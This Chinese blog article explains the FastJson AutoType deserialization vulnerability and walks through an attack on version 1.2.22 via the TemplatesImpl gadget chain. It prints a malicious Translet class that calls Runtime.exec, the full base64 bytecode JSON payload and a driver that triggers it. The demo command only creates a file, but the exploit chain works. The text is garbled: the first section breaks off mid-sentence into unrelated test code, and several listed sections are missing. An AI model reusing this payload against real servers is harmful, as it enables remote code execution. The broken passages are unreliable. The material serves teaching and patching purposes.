FastJson中AutoType反序列化漏洞

文章目录

• • 1、频繁出现的反序列化漏洞
  • 2、parse()及parseObject()
  • 3、AutoType及安全校验
  • 3.1 AutoType安全校验
  • 3.2 AutoType黑名单机制
  • 3.3 SafeMode安全机制
  • 3.4 攻击思路
  • 4、反序列化攻击模拟
  • 4.1 TemplatesImpl攻击调用链路
  • 4.2 攻击类Translet生成
  • 4.3 构造攻击JSON串
  • 4.4 攻击模拟
  • 5、修复���案

    1、频繁出现的反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报，攻击者可以利用该漏洞攻击远程服务器,

    可能会造成任意命令执行。在Fastjson private static final long serialVersionUID = -8088742348807697485L; private String userName; public User() { System.out.println("call construct method"); } public String getUserName() { System.out.println("call get method getUserName"); return userName; } public void setUserName(String userName) { System.out.println("call set method setUserName"); this.userName = userName; }} String userJson = "{\"@type\":\"com.company.project.bean.User\",\"userName\":\"testUserName\"}"; //parseObject测试 Object object1 = JSON.parseObject(userJson); System.out.println("============="); //parse Object object2 = JSON.parse(userJson); }, int)中

    3.4 攻击思路

    现在回头再看一眼漏洞描述，问题是不是就很清晰了，漏洞在两种情况下容易被利用：

    1、执行AutoType安全校验，但新发现了一个黑名单中不存在的Class，利用该Class反序列化时执行的恶意代码进行攻击；

    2、通过某种方法，绕过AutoType安全校验；

    4、反序列化攻击模拟

    为了方便演示漏洞，下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击

    4.1 TemplatesImpl攻击调用链路

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类，上文已经提到过，JSON串中传入指定类型Class时，调用parseObject方法反序列时会调用该Class的get、set及构造方法，那么如果指定JSON串中type为TemplatesImpl时

    • TemplatesImpl中存在一个get方法为getOutputProperties()，其在调用FastJson.parseObject()序列化为Java对象时会被调用
    • getOutputProperties内部调用了newTransformer()方法，newTransformer()内部调用了getTransletInstance()方法获取Translet对象
    • 获取Translet对象时，其通过内部的私有变量_bytecodes生成返回的Translet对象

      这里这个_bytecodes私有变量就是整个攻击设计的核心所在，虽然FastJson默认只能反序列化公有属性，但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码，同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性，那么_bytecodes就可以是任意指定代码

      也就是说，如果事先定义好了Translet返回Class类的内容，并且在自定义的Translet类的构造函数中实现攻击代码，并且把攻击代码转化成字节码，传入TemplatesImpl的私有变量_bytecodes中，那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类，从而触发Translet构造函数中的攻击代码

      所以攻击思路很明显了，分为三步：

      1. 自定义Translet攻击类，在构造函数中实现攻击代码
      2. 根据步骤1生成的字节码来构造攻击JSON串
      3. 调用JSON.parseObject(json, Object.class,

         Feature.SupportNonPublicField);反序列化对象从而触发攻击，这里必须使用支持私有变量反序列化的Feature，虽然条件有点苛刻，但这只是众多攻击链路中较为易懂的一种

      4.2 攻击类Translet生成

      定义如下攻击类EvilClass，继承自AbstractTranslet，在构造函数中写入自己的攻击代码，这里演示只做新增一个文件的操作

      package com.company.project.bean; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class EvilClass extends AbstractTranslet {     public EvilClass() throws IOException {        namesArray = new String[]{"1", "2"};        //简单模拟攻击代码操作，生成一个txt文件        Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");    }     @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {     } }

      4.3 构造攻击JSON串

      然后将编译后的.class字节码文件进行base64编码，最后使用生成的字节码的base64编码来生成攻击JSON串

      FastJson提取byte[]数组字段值时会进行Base64解码，所以我们构造payload时需要对 _bytecodes 进行Base64处理

      public static void  test_autoTypeDeny() throws Exception {        final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";        String evilCode = readClass(evilClassPath);        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String text1 = "{\"@type\":\"" + NASTY_CLASS +                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";        System.out.println(text1);     }

      最后，完整的恶意JSON串如下

      {    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",    "_bytecodes":[        "yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],    '_name':'a.b',    '_tfactory':{    },    "_outputProperties":{    },    "_name":"a",    "_version":"1.0",    "allowedProtocols":"all"}

      这个JSON串中最核心的部分是_bytecodes，它是要执行的恶意字节码的base64编码，@type是指定的解析类，至于_name、_outputProperties等属性都是TemplatesImpl的私有变量，为了避免反序列化时报错，随意传入一个值

      4.4 攻击模拟

      现在假设系统接收到了上述构造的恶意JSON串，调用FastJSON的反序列化操作，如下所示，在反序列化操作的前后分别打印文件是否存在，以此来印证攻击代码(简单的生成一个文件)是否生效

      public static void main(String[] args) {        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";        //开启autoType支持        File fileBeforeAttack = new File("/tmp/evilAttack.txt");        System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());        //反序列化传入的攻击json串        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);        File fileAfterAttack = new File("/tmp/evilAttack.txt");        System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());    }

      执行后命令行中输出如下，说明我们构造的恶意代码被成功执行

      最后debug到恶意代码执行处，看下反序列化时的调用链路，如图所示

      最底层触发的入口为JSON.parseObject，后面反序列化时调用TemplatesImpl#getOutProperties方法，最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class，从触发到自定义类的构造函数中的恶意代码。

      当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类

      不管如何，我们在使用开源的第三方库时，需关注官方的版本迭代，防止潜在的漏洞产生危害

      5、修复方案

      你用别人的东西，能咋办，升级啊。。。

      +v：HuohuyunSec （https://huohuyun.net/）